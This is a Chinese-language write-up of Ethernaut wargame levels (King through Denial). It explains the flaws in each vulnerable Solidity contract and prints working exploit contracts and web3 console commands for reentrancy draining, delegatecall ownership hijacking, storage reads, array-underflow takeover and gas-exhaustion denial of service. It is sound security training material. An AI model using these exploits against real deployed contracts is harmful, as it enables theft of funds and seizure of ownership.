这里继续接着"Ethernaut闯关录(上)"中的闯关模式继续对剩下的关卡进行闯关。
合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
从上面的代码中可以看到当国王被推翻时国王将会获得奖金,那么只要国王拒绝接受奖金就可以一直是国王。
通过上面的代码分析,我们可以部署以下攻击合约,当原智能合约有新的king诞生时会向我们的合约退还之前的奖金,但是攻击合约不接收,直接revert()那么就可以永远占据合约的king不放:
pragma solidity ^0.4.18; contract attack{ function attack(address _addr) public payable{ _addr.call.gas(10000000).value(msg.value)(); } function () public { revert(); } }
点击“Get new Instance”来获取一个实例:
之后先来查看一下prize值以及合约的king、合约的地址
之后我们在remix中编译并部署攻击合约:
合约部署地址:
之后再次查看king,发现已经变成了我们攻击合约的地址:
之后我们点击“submit instance”来提交该实例:
之后成功过关,当我们查看king时发现依旧是我们的攻击合约的地址:
盗取合约中的所有代币。
pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} }
从上面的源代码可以确定这里应该为以太坊里的重入攻击,这也是之前The DAO事件里黑客所用到的攻击。
在这里我们重点来看withdraw函数,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数来实现。
当然,这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多。
根据上面的简易分析,我们可以编写一下EXP代码:
pragma solidity ^0.4.18; contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to]+msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} } contract ReentrancePoc { Reentrance reInstance; function getEther() public { msg.sender.transfer(address(this).balance); } function ReentrancePoc(address _addr) public{ reInstance = Reentrance(_addr); } function callDonate() public payable{ reInstance.donate.value(msg.value)(this); } function attack() public { reInstance.withdraw(1 ether); } function() public payable { if(address(reInstance).balance >= 1 ether){ reInstance.withdraw(1 ether); } } }
点击“Get new Instance”来获取一个实例:
之后获取instance合约的地址
之后在remix中部署攻击合约
我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:
contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})
这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了:
查看balance,在交易前后的变化:
最后点击“submit instance”来提交示例即可:
这个电梯似乎并不会让你到达顶层,所以我们的闯关条件就是绕过这一限制
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
在合约的开头处有一个Building接口,定义了isLastFloor函数,返回值是bool,应该是用来返回这一楼层是否为最顶层,在接口里没有函数是已实现的,类似于抽象合约,可以理解为它仅仅用来提供一个标准,这样继承于它的合约就可以遵照它的标准来进行交互,而接口内的函数在其调用合约内定义即可。
之后在下面的主合约里,定义了一个bool型的top变量,在goto函数里对传入的_floor变量进行了判断,从逻辑上我们发现判断的条件里如果isLastFloor返回false,通过if后再将isLastFloor的返回值赋给top,这样的话我们的top还是个false,而这里我们要想让top的值变为true,那么我们得想个办法在isLastFloor上动动手脚,由于goTo函数调用了两次isLastFloor,因此我们可以将该函数构造为取反函数即可:
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } contract BuildingEXP{ Elevator ele; bool t = true; function isLastFloor(uint) view public returns (bool) { t = !t; return t; } function attack(address _addr) public{ ele = Elevator(_addr); ele.goTo(5); } }
点击"Get new Instance"来获取一个实例:
之后获取合约的地址和当前top的值:
之后在remix中部署合约:
之后调用attack来实施攻击,并且将合约地址进行传参:
之后查看top值发现已经变为了true:
之后点击“submit instance”来提交示例:
将locked成为false
pragma solidity ^0.4.18; contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
根据solidity 文档中的变量存储原则,evm每一次处理32个字节,而不足32字节的变量相互共享并补齐32字节。 那么我们简单分析下题目中的变量:
bool public locked = true; //1 字节 01 uint256 public constant ID = block.timestamp; //32 字节 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;
第一个32 字节就是由locked、flattening、denomination、awkwardness组成,另外由于常量(constant)是无需存储的,所以从第二个32 字节开始就是 data。 因此只需要将第四个存储槽内容取出即可。 取出语句为:web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
点击“Get new instance”来获取一个实例:
之后将第四个存储槽内容取出,并将前16字节内容由于unlock:
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
之后查看locked的状态,已变为“flase”
之后点击“submit instance”来提交该实例:
绕过三个函数修饰器的限制。
pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas.mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
从上面了解到要想enter需要满足gateOne、gateTwo、gateThree三个修饰器的检查条件,即需要满足以下条件:
1、gateOne :这个通过部署一个中间恶意合约即可绕过
2、gateTwo :这里的msg.gas 指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 8191+x ,x 为从开始到运行完 msg.gas 所消耗的 gas。通过查阅资料发现msg.gas在文档里的描述是remaining gas,在Javascript VM环境下进行Debug可在Step detail 栏中可以看到这个变量,笔者在调试过程中未发现合适的gas值,暂未成功!
3、gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。
根据上面的分析给出EXP代码如下(笔者这里没有成功,主要是gateTwo的问题,没有找到合适的gas,而且编译器不同,初始gas值不同都会影响):
pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract Attack { address instance_address = instance_address_here; bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF; GatekeeperOne target = GatekeeperOne(instance_address); function hack() public { target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey); } }
虽然没有成功,但是这里思路是正确的,下面简单给一下流程,首先点击“Get new instance”来获取一个实例:
获取实例地址
之后部署并编译攻击合约,同时更改实例合约的地址:
之后点击"hack"来实施攻击
之后当“await contract.entrant()”非0x000...000时点击“submit instance”来提交示例即可!
和上一题一样,完成三个需求。
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
第一个条件:我们可以通过部署合约来实现绕过
第二个条件:gateTwo中extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小,一般来说,当caller为合约时,获取的大小为合约字节码大小,caller为账户时,获取的大小为 0 。条件为调用方代码大小为0 ,由于合约在初始化,代码大小为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。
第三个条件:这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的值。
最后攻击合约如下:
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a =GatekeeperTwo(param); bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
首先,获取一个实例:
之后获取合约地址:
之后在remix中编译部署攻击合约:
之后查看entrant的值:
之后点击“submit instance”来提交示例:
NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { using SafeMath for uint256; string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } }
从以上代码我们可以看出合约NaughtCoin继承了StandardToken但是没有对父合约做重写,导致利用父合约的函数可以进行及时转账。而子合约NaughtCoin也没有什么问题,那我们还是回过头来看看import的父合约 StandardToken.sol。
其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那么重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:
contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; ... function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } ... }
跟进ERC20Lib.sol:
library ERC20Lib { ... function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) { self.balances[msg.sender] = self.balances[msg.sender].minus(_value); self.balances[_to] = self.balances[_to].plus(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from](msg.sender); self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from](msg.sender) = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender](_spender) = _value; Approval(msg.sender, _spender, _value); return true; } }
此处可以直接调用这个transferFrom了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用approve 给自己授权。 攻击代码如下:
根据以上分析,我们可以构造如下EXP:
await contract.approve(player,toWei(1000000)) await contract.transferFrom(player,contract.address,toWei(1000000))
点击“Get new instance”来获取一个实例:
之后查看当前账户余额
之后使用approve进行授权
然后再通过transferFrom来实施转账
之后查看账户余额:
最后点击“submit instance”来提交该实例:
此合同使用库存储两个不同时区的两个不同时间,构造函数为每次要存储的库创建两个实例。 而玩家的目标是获取合约的owner权限。
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
以上合约中用到了delegatecall()函数,一般情况下delegatecall用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage便是a的。举个例子:
contract A{ uint public x1; uint public x2; function funca(address param){ param.delegate(bytes4(keccak256("funcb()"))); } } contract B{ uint public y1; uint public y2; function funcb(){ y1=1; y2=2; } }
在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。
那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。
由此,我们可构建一下EXP:
pragma solidity ^0.4.23; contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = address(_time); } }
点击“Get new instance”获取一个实例
之后在remix中部署恶意智能合约:
之后在控制台执行以下命令:
await contract.setSecondTime(恶意合约地址) await contract.setFirstTime(player地址)
之后我们就成为了合约的拥有者
最后点击“submit instance”来提交示例即可:
此名称注册器已锁定,将不接受任何注册的新名称。而玩家的目标是解锁此注册器。
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } }
通过查看以上代码我们可以发现“unlocked”从一开始就被设置为“false”而之后合约中再没有出现过"unlocked",那么我们如何来改变"unlocked"的值呢?关于这一个我在之前的智能合约审计系列3中讲过一个“变量覆盖”的专题,里面有相关的描述,这里不再赘述了,总体来说这里的漏洞出现在结构体的重定义导致变量覆盖问题。
在该合约中,下面的三行diam重新定义了结构体,因此会覆盖第一个、第二个存储块,因为我们只需要见_name设置为bytes32(1)就可以将unlocked变为“ture”
NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress;
EXP如下
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } } contract attack{ function hack(address param){ Locked a = locked(param); a.register(bytes32(1),address(msg.sender)); } }
获取一个新的示例
之后获取合约地址
之后部署攻击合约:
之后见合约的address作为产生传入hack中实施攻击:
之后再次查看合约的"unlocked"的状态值,发现已经发生了变化,改为了"true"
最后提交示例即可:
合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 如果您可以从丢失的合同地址中恢复(或移除)0.5ether,则此级别将完成。
pragma solidity ^0.4.23; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { using SafeMath for uint256; // public variables string public name; mapping (address => uint) public balances; // constructor constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens function() public payable { balances[msg.sender] = msg.value.mul(10); } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } // clean up after ourselves function destroy(address _to) public { selfdestruct(_to); } }
由于在链上所有东西都是透明的,因此合约创建时我们直接查看合约就可以查看到新建立的合约的地址。之后如果要回复token可以借助destory函数来实现,可以构建如下EXP:
pragma solidity ^0.4.23; contract SimpleToken { // public variables string public name; mapping (address => uint) public balances; // collect ether in return for tokens function() public payable ; // allow transfers of tokens function transfer(address _to, uint _amount) public ; // clean up after ourselves function destroy(address _to) public ; } contract RecoveryPoc { SimpleToken target; constructor(address _addr) public{ target = SimpleToken(_addr); } function attack() public{ target.destroy(tx.origin); } }
首先获取一个实例
从MetaMask上获取交易细节信息
由此确定新合约的地址:
之后部署攻击合约
之后点击hack实施攻击:
之后查看attack之后的交易细节,发现代币找回
同时发现新合约自动销毁
最后点击"submit instance"提交示例即可:
要解决这个级别,您只需要向etranaut提供一个“Solver”,这是一个响应“whatistMeaningoflife()”的契约,并提供正确的数字。 很容易吧?好。。。有个陷阱。 解算器的代码需要非常小。真的很小。就像怪物真的有点小:最多10个操作码。 提示:也许是时候暂时离开Solidity编译器的舒适性,手工构建这个编译器了。没错:原始EVM字节码。 祝你好运!
即要求输出42(操作码为2A)。
pragma solidity ^0.4.24; contract MagicNum { address public solver; constructor() public {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ }
对于操作码的执行我们需要用转账函数:
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)})
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3"; web3.eth.sendTransaction({from:player, data:bytecode}, function(err,res){console.log(res)}); await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6");
获取一个实例:
之后在控制台实施攻击
最后点击“submit instance”提交示例:
获取合约的所有权。
pragma solidity ^0.4.24; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function make_contact(bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200); contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
合约开头 import 了 Ownable 合约,同时也引入了一个 owner 变量。
web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)}); // 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5 // bool public contact 0x000000000000000000000000 // address public owner 0x73048cec9010e92c298b016966bde1cc47299df5
由于 EVM 存储优化的关系,在 slot [0]中同时存储了contact和owner,需要做的就是将owner变量覆盖为自己。
首先通过 make_contact() 函数,我们可以将contact变量设置为 true,这也是调用其他几个函数的前提。
在make_contact() 函数中,我们需要传入一个长度大于 2^200 的数组。如果直接在 remix 上部署一个合约来传,会发现 gas 消耗爆炸了。明显这是不太现实的,需要绕过。 由于 make_contact() 函数只验证传入数组的长度。了解到 OPCODE 中数组长度是存储在某个slot上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成data 发送。
sig = web3.sha3("make_contact(bytes32[])").slice(0,10) // "0x1d3d4c0b" // 函数选择器 data1 = "0000000000000000000000000000000000000000000000000000000000000020" // 除去函数选择器,数组长度的存储从第 0x20 位开始 data2 = "1000000000000000000000000000000000000000000000000000000000000001" // 数组的长度 await contract.contact() // false contract.sendTransaction({data: sig + data1 + data2}); // 发送交易 await contract.contact() // true
之后就是一个经典的 OOB (out of boundary) Attack
首先通过调用 retract(),使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); // codex.length // 0x0000000000000000000000000000000000000000000000000000000000000000
contract.retract() // codex.length-- web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); // codex.length // 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
而在Solidity中动态数组内变量的存储位计算方法可以概括为:
b[X] == SLOAD(keccak256(slot) + X)
在本题中,数组 codex 的 slot 为 1,同时也是存储数组长度的地方。
>>> import sha3 >>> import binascii >>> def bytes32(i): >>> return binascii.unhexlify('%064x'%i) >>> sha3.keccak_256(bytes32(1)).hexdigest() 'b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6' >>> 2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 35707666377435648211887908874984608119992236509074197713628505308453184860938
可计算出,codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0。 之前提到 slot 0 中同时存储了 contact 和 owner,只需将 owner 替换为 player 地址即可。
await contract.owner() // "0x73048cec9010e92c298b016966bde1cc47299df5" contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001a61cfd1573fd2207dcb1841cedcb1d5aed4dc155') // 调用 revise() await contract.owner() // "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf" // Submit instance
获取一个新的实例:
中间流程参考合约分析部分!最后获得owner之后提交示例即可:
造成DOS使得合约的owner在调用withdraw时无法正常提取资产。
pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Denial { using SafeMath for uint256; address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance.div(100); // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; } }
从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。
攻击合约如下:
pragma solidity ^0.4.23; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance/100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; } } contract Attack{ address instance_address = instance_address_here;//根据示例来更改该参数 Denial target = Denial(instance_address); function hack() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function () payable public { target.withdraw(); } }
获取一个实例
之后查看instance的地址
之后部署攻击合约
之后点击"Hack"实施攻击即可:
最后提交示例即可
该关卡目前已经关闭了——404:
智能合约的安全性在开发时需要注重逻辑的设计、函数的调用、底层存储机制等安全问题,而我们在审计过程中也需要多多注意各种潜在的安全风险。
感觉多少有点费劲,上下篇文章每篇文章图片就70——90,心累,心累,,,不过还好是坚持这写完了,在写作过程中深深感悟到————“实践是检验真理的唯一标准”,如果各位读者有兴趣的话不妨自我动手操作一下看看,必定获益匪浅~
https://paper.seebug.org/624/
https://remix.readthedocs.io/en/latest/
http://cw.hubwiz.com/card/c/web3.js-1.0/
https://www.jianshu.com/p/d9137e87c9d3
https://baike.baidu.com/item/42/16630643?fr=aladdin
https://github.com/OpenZeppelin/openzeppelin-contracts
https://me.tryblockchain.org/Solidity-abi-abstraction.html
https://www.freebuf.com/articles/blockchain-articles/177260.html
https://www.freebuf.com/articles/blockchain-articles/179662.html
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/